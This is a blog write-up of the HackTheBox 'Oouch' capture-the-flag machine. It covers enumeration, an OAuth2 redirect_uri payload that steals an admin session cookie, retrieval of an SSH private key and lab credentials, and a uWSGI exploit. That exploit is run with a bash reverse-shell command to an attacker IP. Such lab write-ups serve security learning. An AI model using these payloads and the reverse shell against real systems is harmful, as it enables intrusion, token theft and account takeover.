HackTheBox Oouch Writeup – 10.10.10.177

Hello, welcome back :), Here is the writeup of HackTheBox Oouch machine (10.10.10.177). The Oouch Linux box by qtc released on Feb 29th, 2020 with the difficulty level “Hard“.

DIFFICULTY: HARD

The machine is all about Enumeration, XSS vulnerability and gaining foothold by stealing web application tokens and APIs etc. An Oauth2 authentication protocol exploitation is major foothold for this machine, exploit the Oauth2 and stole Admin session cookie.

HackTheBox Oouch Writeup – 10.10.10.177

Let us start.

ENUMERATION

As always, I update my hosts file with machine IP 10.10.10.177 as oouch.htb and proceed for intense NMAP scan.

# root @ ns09 in ~/htb/oouch [11:42:28] 
$ nmap -T4 -sC -p- -oA nmap.scan oouch.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-29 11:44 +03
Nmap scan report for oouch.htb (10.10.10.177)
Host is up (0.14s latency).
Not shown: 65531 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 ftp      ftp            49 Feb 11 19:34 project.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.11
|      Logged in as ftp
|      TYPE: ASCII
|      Session bandwidth limit in byte/s is 30000
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh
| ssh-hostkey: 
|   2048 8d:6b:a7:2b:7a:21:9f:21:11:37:11:ed:50:4f:c6:1e (RSA)
|_  256 d2:af:55:5c:06:0b:60:db:9c:78:47:b5:ca:f4:f1:04 (ED25519)
5000/tcp open  upnp
8000/tcp open  http-alt
|_http-title: Site doesn't have a title (text/html).

Nmap done: 1 IP address (1 host up) scanned in 612.22 seconds

# root @ ns09 in ~/htb/oouch [11:54:15] $ 

As per the NAMP scan, FTP port 21 is open with anonymous access allowed, SSH at port 22, TCP ports 5000 and 8000 are open.

The FTP is hosting a text file “project.txt“, I download the file to my local machine and it seems like the text file contains the name of the servers.

# root @ ns09 in ~/htb/oouch [12:01:33] 
$ ftp oouch.htb
Connected to oouch.htb.
220 qtc's development server
Name (oouch.htb:root): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp            49 Feb 11 19:34 project.txt
226 Directory send OK.
ftp> get project.txt
local: project.txt remote: project.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for project.txt (49 bytes).
226 Transfer complete.
49 bytes received in 0.00 secs (20.1057 kB/s)
ftp> ^Z
[4]  + 2134 suspended  ftp oouch.htb

# root @ ns09 in ~/htb/oouch [12:02:58] C:148
$ cat project.txt
Flask -> Consumer
Django -> Authorization Server

# root @ ns09 in ~/htb/oouch [12:03:05] 

Web Services

The port 8000 throws bad request (400) error, while the port 5000 opened up a login page. The page has an option to register and login. I registered myself and logged in successfully to a web application “Oouch”. However, there is nothing much interesting.

User Profile Page after registration

What caught my attention was CSRF Token in login page, but decided to look at it later and move forward. A WFUZZ fuzzing on http://oouch.htb:5000/FUZZ showed a new directory “oauth”.

Upon visiting the newly discovered page, I found “OAuth Endpoint” of the application. Two links were found:

  • http://consumer.oouch.htb:5000/oauth/connect
  • http://consumer.oouch.htb:5000/oauth/login

The projects.txt file downloaded from shows there are two services running, I need to find the hosts. As you know NAMP comes with an option to discover hosts. I’m going to run it in next step.

Searching For Virtual Hosts (vHosts)

nmap --script http-vhosts -p 80,8080,443 <target>

I modified the command to add the file I downloaded from FTP as my arguments.

# root @ ns09 in ~/htb/oouch [12:30:26] 
$ nmap -p 5000,8000 oouch.htb --script +http-vhosts --script-args "http-vhosts.filelist=project.txt"
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-29 12:31 +03
Nmap scan report for oouch.htb (10.10.10.177)
Host is up (0.14s latency).

PORT     STATE SERVICE
5000/tcp open  upnp
| http-vhosts: 
| Django -> Authorization Server.htb : 302 -> http://Django -> Authorization Server.htb/login?next=%2F
|_Flask -> Consumer.htb : 302 -> http://Flask -> Consumer.htb/login?next=%2F
8000/tcp open  http-alt
| http-vhosts: 
| Django -> Authorization Server.htb : 400
|_Flask -> Consumer.htb : 400

Nmap done: 1 IP address (1 host up) scanned in 1.47 seconds

I found two new virtual hosts. I added them to my hosts file.

Upon visiting the website on http://authorization.oouch.htb:8000/ I found a new web app “Oouch – The Simple and Secure Authorization Server” which is some kind of authorization server based on authorization server based on the Oauth2 protocol. From the description it looks like the Server being used as SSO for the web applications.

After enumerating and finding different services, I understood that, as per the file project.txt found in FTP, the services on http://consumer.oouch.htb:5000/ is based on the Flask and the service http://authorization.oouch.htb:8000/ is running on Django framework.

I tried to log in using the credentials I created early, but didn’t work. There is another sign-up option, so I proceed to register myself as OouchNS1 and logged-in to test.

After logging in with new credentials, I noticed two options (endpoints as they were called by the author). The /OAuth/authorize) throws Error: invalid_request error while the token shows a blank page.

I try to open applications: http://authorization.oouch.htb:8000/oauth/applications but it requires credential.

The other directories I found was http://authorization.oouch.htb:8000/oauth/token/, which I previously tested it.

WFUZZ FUZZING

The webpage seemed dead-end as I couldn’t enumerate more, so I decided to find hidden directories of the application using WFUZZ.

BURPING THE REQUESTS

While the WFUZZ fuzzing is continued in the background I started to look in to the directories found already.

http://authorization.oouch.htb:8000/oauth/token:

While I was enumerating http://oouch.htb:5000/login I found the http://consumer.oouch.htb:5000/oauth/connect was calling.

And this where I’m now:

The below is the sequence when a user authorized to log in using OAuth2 token. I capture the process using burp to see what’s going in the background.

REQUEST

RESPONSE

HTTP/1.1 302 Found
Content-Type: text/html; charset=utf-8
Location: http://consumer.oouch.htb:5000/oauth/connect/token?code=0SNCX8VwK31CtN1PaTHJ6OPofZLIzi
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Vary: Authorization, Cookie
HTTP/1.1 302 FOUND
Server: nginx/1.14.2
Date: Sat, 11 Apr 2020 11:12:01 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 363
Connection: close
Location: http://consumer.oouch.htb:5000/login?next=%2Foauth%2Fconnect%2Ftoken%3Fcode%3D0SNCX8VwK31CtN1PaTHJ6OPofZLIzi
Vary: Cookie
Set-Cookie: session=eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIlBsZWFzZSBsb2cgaW4gdG8gYWNjZXNzIHRoaXMgcGFnZS4iXX1dfQ.XpGmAQ.WZwIjegOwzsq9__1gm2jC-Fhze8; HttpOnly; Path=/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/login?next=%2Foauth%2Fconnect%2Ftoken%3Fcode%3D0SNCX8VwK31CtN1PaTHJ6OPofZLIzi">/login?next=%2Foauth%2Fconnect%2Ftoken%3Fcode%3D0SNCX8VwK31CtN1PaTHJ6OPofZLIzi</a>.  If not click the link.

As I started to reading about Exploiting and Bypassing OAuth2 authentication, I found few report in HackerOne that shows the way to steal OAuth Tokens.

Going further, I noticed a couple of users mentioned that a form in user profile can be used as XSS. The only form I found was http://consumer.oouch.htb:5000/contact.

Whatever you send you get the below message;

I tried to do some nasty XSS, and I was Immediately blocked for Hacking Attempt, the WFA is blocking anything it detected not normal request. However, it has been noticed by one of team member that WFA filter is “Capitalized letter”

After spending hours on Google and articles related to OAuth2, I come across with this article: . As mentioned by the author; I’m going to perform Cross-Site Request Forgery (CSRF) attack on the application and see if I’ll be able to exploit it and gain access to Admin account. .

As I understand its is possible to steal OAuth token, I started to look for reports from HackerOne and Google. I found following few articles I could use as references.

Admin Account Takeover Using Stolen OAuth2 Authorization Token

Token: /oauth/connect/token?code=yJQVFf95neXeBlLpgL7VYDRlFiQKnu

STEP 1 – I open the page http://consumer.oouch.htb:5000/oauth/connect and fire up the Burp Suite and prepared my intercept.

The consumer.oouch.htb:5000/oauth/connect page authorized users

I was redirected to Sign-in page: http://consumer.oouch.htb:5000/login

And here I’m logged in as QTC AKA Administrator. However, there is nothing much admin stuff but the Documents section has some useful information.

There is a credential: develop:supermegasecureklarabubu123!

In my first WFUZZ fuzzing I found a couple of hidden directories /oauth/applications/ and /oauth/applications/register, I used the credentials found in QTC directory Application but it didn’t accept, however the login form in applications/register was successfully logged in.

There is a Registration form with pre-existing Client ID and Client Secret, I filled the rest fields and saved it.

Client ID: jJguxtI2nmDvcBKRj0732zhNV3tn4siqQOAv6VBa
Client Secret: SSwzMxyNEV5L8WcXxN26rsRR0Ei6QDdPFkVDb42NYE5FU0yQcSZEvAaqFoKxo6YHX5dkAYNjuzYwVwYZG0OuWZ4naWZh8AR2vNscCXvAkiQtK0vEaaMwufwlmwrBMGT6

I tried a lot before making a final payload. This payload is going to be run in the http://oouch.htb:5000/contact. I set up my listener with fingers crossed and hoping to get the call back.

My final working payload:

http://authorization.oouch.htb:8000/oauth/authorize/?client_id=jJguxtI2nmDvcBKRj0732zhNV3tn4siqQOAv6VBa&redirect_uri=http://10.10.14.13:8888&grant_type=authorization_code&client_secret=SSwzMxyNEV5L8WcXxN26rsRR0Ei6QDdPFkVDb42NYE5FU0yQcSZEvAaqFoKxo6YHX5dkAYNjuzYwVwYZG0OuWZ4naWZh8AR2vNscCXvAkiQtK0vEaaMwufwlmwrBMGT6

Yessssss……, I got the call back in my listener after waiting for few moments:

# root @ ns09 in ~/htb/oouch [22:18:09] 
$ nc -nlvkp 8888
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::8888
Ncat: Listening on 0.0.0.0:8888
Ncat: Connection from 10.10.10.177.
Ncat: Connection from 10.10.10.177:54712.
GET /?error=invalid_request&error_description=Missing+response_type+parameter. HTTP/1.1
Host: 10.10.14.13:8888
User-Agent: python-requests/2.21.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: sessionid=dn4p969hsa60m953gyeyc31fmzeevhuq;

I now have the Session ID cookie I was looking for. I went on fired up Burp and load the page http://authorization.oouch.htb:8000/ from browser and intercept the request and replaced Session ID cookie with admin’s Cookie and forward it.

Boom, I’m logged in as QTC.

Obtaining The Access Token

As soon as I’m logged-in as QTC, the next step is to get Access Token from QTC. The Access token is generated from this https://www.oauth.com/oauth2-servers/access-tokens/ URL, however direct access is blocked and I got invalid access error, so I tried with cURL.

Getting API using The Access Token and Obtaining SSH Key:

Intercept the request using Burp and add the access token I obtained in previous step and forward the request.

Here is the SSH key after a couple of forwards.

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2708
Vary: Authorization, Cookie

 {"ssh_server": "consumer.oouch.htb", "ssh_user": "qtc", "ssh_key": "-----BEGIN OPENSSH PRIVATE
KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAYEAqQvHuKA1i28D1ldvVbFB8PL7ARxBNy8Ve/hfW/V7cmEHTDTJtmk7\nLJZzc1djIKKqYL8eB0ZbVpSmINLfJ2xnCbgRLyo5aEbj1Xw+fdr9/yK1Ie55KQjgnghNdg\nreZeDWnTfBrY8sd18rwBQpxLphpCR367M9Muw6K31tJhNlIwKtOWy5oDo/O88UnqIqaiJV\nZFDpHJ/u0uQc8zqqdHR1HtVVbXiM3u5M/6tb3j98Rx7s
---------------------[snipped]------------------------uPPzwHKZZrbd6B0Zv4hjSiqwUSPHEzOcEE2s/Fn6LoNVCnviOfCMkJcDN4YJteRZjNV\n97SL5oW72BLesNu21HXuH1MGTNLGFw1wyV1+oULSCv9zx3QhBD8LcYmdLsgnlYazJqmcnCHdzXjIs9dFzSKd38N/RRVbvz3bBpGfxdUWrXZ85ZwPLPwIKAa8DZnKqEZU0kbyLhNwPvnXO80K6s1OipcxijR7HAwZW3haZ6k2NiXVIZCmWxSVO6x8zli7mUqpik1VZ3X9HWH9ltzntESlvBYHGgukRO/OFr7VOd/EpqAPrdH4xtm0wM02k+qV END OPENSSH PRIVATEKEY-----"}
Getting User.txt

After fixing the SSH key, I add it to my .ssh/id_rsa and open the terminal and ssh the box as qtc. I got logged-in and I obtained the user.txt immediately.

On To The Next One – Privilege Escalation

Upon checking hidden directories and folders inside the QTC directory, I found a hidden text file .note.txt, it says “Implementing an IPS using DBus and iptables == Genius?”

qtc@oouch:~$ ls -la
total 36
drwxr-xr-x 4 qtc  qtc  4096 Feb 25 12:45 .
drwxr-xr-x 3 root root 4096 Feb 11 18:11 ..
lrwxrwxrwx 1 root root    9 Feb 11 18:34 .bash_history -> /dev/null
-rw-r--r-- 1 qtc  qtc   220 Feb 11 18:11 .bash_logout
-rw-r--r-- 1 qtc  qtc  3526 Feb 11 18:11 .bashrc
drwx------ 3 qtc  qtc  4096 Feb 25 12:45 .gnupg
-rw-r--r-- 1 root root   55 Feb 11 18:34 .note.txt
-rw-r--r-- 1 qtc  qtc   807 Feb 11 18:11 .profile
drwx------ 2 qtc  qtc  4096 Feb 11 18:34 .ssh
-rw------- 1 qtc  qtc    33 Apr 14 08:21 user.txt
qtc@oouch:~$ cat .note.txt
Implementing an IPS using DBus and iptables == Genius?
qtc@oouch:~$ 

A show process monitoring command showed some interesting things running.

root      3092  0.0  1.2 1186204 48948 ?       Ssl  08:21   0:07 /usr/bin/containerd
root      3095  0.0  0.0   5612  1636 tty1     Ss+  08:21   0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root      3098  0.0  0.1  15852  7072 ?        Ss   08:21   0:00 /usr/sbin/sshd -D
root      3125  0.0  0.2 492288  8136 ?        Sl   08:21   0:10 //usr/lib/vmware-caf/pme/bin/ManagementAgentHost
root      3129  0.0  2.4 1349472 97652 ?       Ssl  08:21   0:13 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root      3617  0.0  0.2 107696 10320 ?        Sl   08:22   0:00 containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/810b5ad681b2330b4a32b52a6ec8
b07d8cca2eb562b7927958f115c1cbe99e83 -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc
root      3624  0.0  0.1 474988  7696 ?        Sl   08:22   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 5000 -container-ip 172.18.0.4 -container-port 5000
root      3626  0.0  0.2 109104 10028 ?        Sl   08:22   0:00 containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/8ed9885c51d3734b7d6de334bec9
7efc1bced22d27d9ad4b3d56ec72863f823d -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc
root      3668  0.0  0.2 548976  9672 ?        Sl   08:22   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 8000 -container-ip 172.18.0.3 -container-port 8000
root      3674  0.0  0.2 109104 10228 ?        Sl   08:22   0:00 containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/aeb4525789d86f2cda1dd10ae3bd
96dba317e4f0784fdba2a86943f0486a4c3b -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc
root      3691  0.0  0.2 109104 10300 ?        Sl   08:22   0:00 containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/5e54e5cd9648b19ee47610181886
cb3557f63fb545ce0937475e471b4250722c -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc
systemd+  3713  0.0  2.6 1921836 106900 ?      Ssl  08:22   0:13 mysqld
systemd+  3722  0.0  2.6 1922736 105628 ?      Ssl  08:22   0:13 mysqld
root      3729  0.0  0.0   5488  3172 ?        Ss   08:22   0:00 /bin/bash ./start.sh
www-data  3738  0.0  0.2  14064  8672 ?        Ss   08:22   0:01 /venv/bin/uwsgi --show-config
www-data  4010  0.0  1.3 364312 56068 ?        Sl   08:22   0:02 /venv/bin/uwsgi --show-config
www-data  4011  0.0  1.3 363532 56200 ?        Sl   08:22   0:03 /venv/bin/uwsgi --show-config
www-data  4012  0.0  0.3  22260 13364 ?        S    08:22   0:00 /venv/bin/uwsgi --show-config
root      4014  0.0  0.0  15852  3032 ?        Ss   08:22   0:00 /usr/sbin/sshd
root      4045  0.1  0.9 423992 38736 ?        Ssl  08:22   0:29 /usr/bin/python3 /usr/local/bin/docker-compose up
root      4048  0.0  0.0  10476   844 ?        Ss   08:22   0:00 nginx: master process /usr/sbin/nginx
www-data  4053  0.0  1.1  57492 46760 ?        S    08:22   0:02 uwsgi --ini uwsgi.ini --chmod-sock=666
www-data  4054  0.0  0.0  11264  3504 ?        S    08:22   0:00 nginx: worker process
www-data  4055  0.0  0.0  11264  3880 ?        S    08:22   0:00 nginx: worker process
root      4198  0.0  0.0      0     0 ?        I<   08:22   0:00 [dio/sda1]
www-data  4199  0.0  1.1  69976 48168 ?        S    08:22   0:00 uwsgi --ini uwsgi.ini --chmod-sock=666
www-data  4200  0.0  1.1  67884 45440 ?        S    08:22   0:00 uwsgi --ini uwsgi.ini --chmod-sock=666
www-data  4201  0.0  1.1  70296 48320 ?        S    08:22   0:00 uwsgi --ini uwsgi.ini --chmod-sock=666
www-data  4202  0.0  1.1  70040 48224 ?        S    08:22   0:00 uwsgi --ini uwsgi.ini --chmod-sock=666
www-data  4203  0.0  1.1  68160 45856 ?        S    08:22   0:00 uwsgi --ini uwsgi.ini --chmod-sock=666
www-data  4204  0.0  1.1  69320 47036 ?        S    08:22   0:00 uwsgi --ini uwsgi.ini --chmod-sock=666
www-data  4205  0.0  1.1  68204 45804 ?        S    08:22   0:00 uwsgi --ini uwsgi.ini --chmod-sock=666
www-data  4206  0.0  1.1  69700 47432 ?        S    08:22   0:00 uwsgi --ini uwsgi.ini --chmod-sock=666
www-data  4207  0.0  1.1  69788 47460 ?        S    08:22   0:00 uwsgi --ini uwsgi.ini --chmod-sock=666
www-data  4208  0.0  1.1  69888 47520 ?        S    08:22   0:00 uwsgi --ini uwsgi.ini --chmod-sock=666
root      5501  0.0  0.0      0     0 ?        I    11:32   0:01 [kworker/1:1-memcg_kmem_cache]
qtc       5555  0.0  0.2  21284  8936 ?        Ss   11:40   0:00 /lib/systemd/systemd --user

Docker Services:

root      3125  0.0  0.2 492288  8136 ?        Sl   08:21   0:10 //usr/lib/vmware-caf/pme/bin/ManagementAgentHost
root      3129  0.0  2.4 1349472 97652 ?       Ssl  08:21   0:13 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root      3617  0.0  0.2 107696 10320 ?        Sl   08:22   0:00 containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/810b5ad681b2330b4a32b52a6ec8
b07d8cca2eb562b7927958f115c1cbe99e83 -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc
root      3624  0.0  0.1 474988  7696 ?        Sl   08:22   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 5000 -container-ip 172.18.0.4 -container-port 5000
root      3626  0.0  0.2 109104 10028 ?        Sl   08:22   0:00 containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/8ed9885c51d3734b7d6de334bec9
7efc1bced22d27d9ad4b3d56ec72863f823d -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc
root      3668  0.0  0.2 548976  9672 ?        Sl   08:22   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 8000 -container-ip 172.18.0.3 -container-port 8000
root      3674  0.0  0.2 109104 10228 ?        Sl   08:22   0:00 containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/aeb4525789d86f2cda1dd10ae3bd
96dba317e4f0784fdba2a86943f0486a4c3b -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc
root      3691  0.0  0.2 109104 10300 ?        Sl   08:22   0:00 containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/5e54e5cd9648b19ee47610181886
cb3557f63fb545ce0937475e471b4250722c -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc

Internal Docker IPs:

root      3624  0.0  0.1 474988  7696 ?        Sl   08:22   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 5000 -container-ip 172.18.0.4 -container-port 5000
root      3668  0.0  0.2 548976  9672 ?        Sl   08:22   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 8000 -container-ip 172.18.0.3 -container-port 8000

From the .note found in the QTC directory it is confirmed that DBus Server is running. So I decided to find more about it before I proceed.

As per this DBus documentation, the configuration file can be found here: /etc/dbus-1/system.d.

The DBus system configuration did give me much info, however the config file htb.oouch.Block.conf shows the user www-data is the one other than root is running DBus service. So I believe I need to escalate my current user privileges from QTC to www-data.

A user’s comment in HTB forum made some sense. I started to look for more rooting hints in the forum. One of them is SSH as QTC using the container interfaces IP.

I used NAMP binary to see interface IPs and services they are running.

qtc@oouch:/tmp$ ./ncmap -p- 172.18.0.1/24

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2020-04-16 09:06 CEST
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.18.0.1
Host is up (0.000098s latency).
Not shown: 65531 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
5000/tcp open  unknown
8000/tcp open  unknown

Nmap scan report for 172.18.0.2
Host is up (0.00033s latency).
Not shown: 65534 closed ports
PORT     STATE SERVICE
8000/tcp open  unknown

Nmap scan report for 172.18.0.3
Host is up (0.00041s latency).
Not shown: 65534 closed ports
PORT     STATE SERVICE
3306/tcp open  mysql

Nmap scan report for 172.18.0.4
Host is up (0.00043s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  unknown

Nmap scan report for 172.18.0.5
Host is up (0.00013s latency).
Not shown: 65534 closed ports
PORT     STATE SERVICE
3306/tcp open  mysql

Nmap done: 256 IP addresses (5 hosts up) scanned in 25.96 seconds
qtc@oouch:/tmp$ 

The docker br-cc6c78e0c7d0 is in up state and the IP range assigned :172.18.0.1/16 172.18.255.255

qtc@oouch:~$ ssh 172.18.0.4
The authenticity of host '172.18.0.4 (172.18.0.4)' can't be established.
ED25519 key fingerprint is SHA256:ROF4hYtv6efFf0CQ80jfB60uyDobA9mVYiXVCiHlhSE.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.18.0.4' (ED25519) to the list of known hosts.
Linux aeb4525789d8 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
qtc@aeb4525789d8:~$ 

I successfully logged in as QTC to the docker container aeb4525789d8.

I started to enumerate the directories. I found a folder “code” where I found file config.py and a credential for MySQL database. I don’t know where this applies, so I noted it for future reference.

qtc@aeb4525789d8:/code$ cat config.py
import os
basedir = os.path.abspath(os.path.dirname(__file__))
class Config(object):
    # ...
    SQLALCHEMY_DATABASE_URI = 'mysql://qtc:clarabibi2019!@database.consumer.oouch.htb/Consumer'
    SQLALCHEMY_TRACK_MODIFICATIONS = False
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'klarabubuklarabubuklarabubuklarabubu'

Further enumeration showed me the service uwsgi running and found other associated details. **Thanks 0xPrashanth for timely nudge.

qtc@aeb4525789d8:/code$ ls -la
total 52
drwxr-xr-x 4 root root 4096 Feb 11 17:34 .
drwxr-xr-x 1 root root 4096 Feb 25 12:33 ..
-rw-r--r-- 1 root root 1072 Feb 11 17:34 Dockerfile
-r-------- 1 root root  568 Feb 11 17:34 authorized_keys
-rw-r--r-- 1 root root  325 Feb 11 17:34 config.py
-rw-r--r-- 1 root root   23 Feb 11 17:34 consumer.py
-r-------- 1 root root 2602 Feb 11 17:34 key
drwxr-xr-x 4 root root 4096 Feb 11 17:34 migrations
-rw-r--r-- 1 root root  724 Feb 11 17:34 nginx.conf
drwxr-xr-x 5 root root 4096 Feb 11 17:34 oouch
-rw-r--r-- 1 root root  241 Feb 11 17:34 requirements.txt
-rwxr-xr-x 1 root root   89 Feb 11 17:34 start.sh
-rw-rw-rw- 1 root root    0 Apr 14 16:19 urls.txt
-rw-r--r-- 1 root root  163 Feb 11 17:34 uwsgi.ini
qtc@aeb4525789d8:/code$ cat uwsgi.ini
[uwsgi]
module = oouch:app
uid = www-data
gid = www-data
master = true
processes = 10
socket = /tmp/uwsgi.socket
chmod-sock = 777
vacuum = true
die-on-term = true
qtc@aeb4525789d8:/code$ 
qtc@aeb4525789d8:~$ uwsgi
*** Starting uWSGI 2.0.17.1 (64bit) on [Tue Apr 14 16:33:38 2020] ***
compiled with version: 8.3.0 on 11 February 2020 17:38:50
os: Linux-4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26)
nodename: aeb4525789d8
machine: x86_64
clock source: unix
detected number of CPU cores: 2
current working directory: /home/qtc
detected binary path: /usr/local/bin/uwsgi
!!! no internal routing support, rebuild with pcre support !!!
*** WARNING: you are running uWSGI without its master process manager ***
your memory page size is 4096 bytes
detected max file descriptor number: 1024
lock engine: pthread robust mutexes
thunder lock: disabled (you can enable it with --thunder-lock)
The -s/--socket option is missing and stdin is not a socket.
qtc@aeb4525789d8:~$ 

And the www-data processes used by the service uwsgi.

A quick Googling showed me an exploit for UWSGI which is readily avilable in the GitHub.

As the exploit need to run locally post exploit, I had to move the exploit to QTC directory and then from QTC directory to the docker IP 172.18.0.5.

Uploading File to QTC Directory Using SCP

Moving Exploit to the docker

Exploit In Docker

When everything is in place, my next task is to get shell as www-data using the exploit I just uploaded to docket temp folder. I set up a listener listening port 9999 in my Kali machine and run the following command in docker/temp directory.

Before starting exploit I wanted to see DBus config files to find anything useful to create exploit code and the payload.

python uwsgi_exp.py -m unix -c "/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.13/9999 0>&1'" -u /tmp/uwsgi.socket 

I immediately got the reverse shell as www-data in my listener.

Root.txt

From www-data reverse shell, I run the debus-send command.

dbus-send [ --system | --session | --address=ADDRESS ] [--dest=NAME] [ --print-reply [=literal]] [--reply-timeout=MSEC] [--type=TYPE] OBJECT_PATH INTERFACE.MEMBER [CONTENTS...]

Thank you for reading, Oouch is one of the hardest machine I’ve ever worked on HTB. I learned a lot and. It took me more days and nights than what I estimated earlier. It was a great journey.

Navin

Hey there, I'm Navin, a passionate Info-Sec enthusiast from Bahrain. I started this blog to share my knowledge. I usually write on HackTheBox machines and challenges, cybersecurity-related articles and bug-bounty. If you are an HTB user and like my articles, please respect here: Profile: https://www.hackthebox.eu/nav1n

You may also like...

Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments
Sorry, that action is blocked.